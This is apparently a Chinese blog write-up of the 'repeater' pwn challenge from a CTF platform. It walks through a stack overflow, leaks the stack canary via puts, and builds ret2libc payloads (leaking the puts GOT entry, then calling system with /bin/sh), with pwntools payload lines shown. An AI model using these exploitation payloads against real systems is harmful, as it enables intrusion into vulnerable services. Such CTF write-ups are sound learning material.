$CTF^2$ (原buuctf)平台上的题目,写了个wp,同步到博客
题目: repeater
分类: pwn
难度: hard
平台: $CTF^2$
- 分析题目
从题目拿到的附件只有一个二进制文件repeater。
checksec发现
1 | Arch: amd64-64-little |
有canary,无PIE
拉进ida分析,由于代码量少,可以容易看到漏洞点区域如下
1 | while ( !dword_60108C ) |
- 确定漏洞及其利用方式
在代码中read(0, buf, 0x100u);,buf为0x30,溢出了0xd0字节,考虑栈溢出。
由于有canary,参考ida逆向的栈结构,写出
1 | payload = b'a'*0x28 + canary + b'a'*0x8 + backdoor |
因此利用目的变为获取canary与构造backdoor部分。
- canary泄露
以payload = b'a'*0x29测试。由于canary存在特性,第一个,即末尾为b’\x00’,此处覆盖的时候,覆盖了canary的末尾项b’\x00’。
puts(buf);此时将canary也识别为buf中的一部分,泄露了出来。
1 | _ |
由此获得canary。
1 | p.recvuntil('What do you want me to repeat with you? Please enter it to me:') |
- 确定backdoor的构造
此处有了canary,其实已经变成了常规的栈溢出题目了。本人采取ret2libc的方式来解决最后的部分。
由于题目中没有libc本体,意味着我们需要泄露至少一个got表上的内容来确定靶机上使用的libc。
1 | payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) |
main为主函数地址,用于在泄露之后再次利用同一漏洞点,调用system。
1 | payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main) |
- 整合代码
完整exp如下
1 | from pwn import * |
说些什么吧!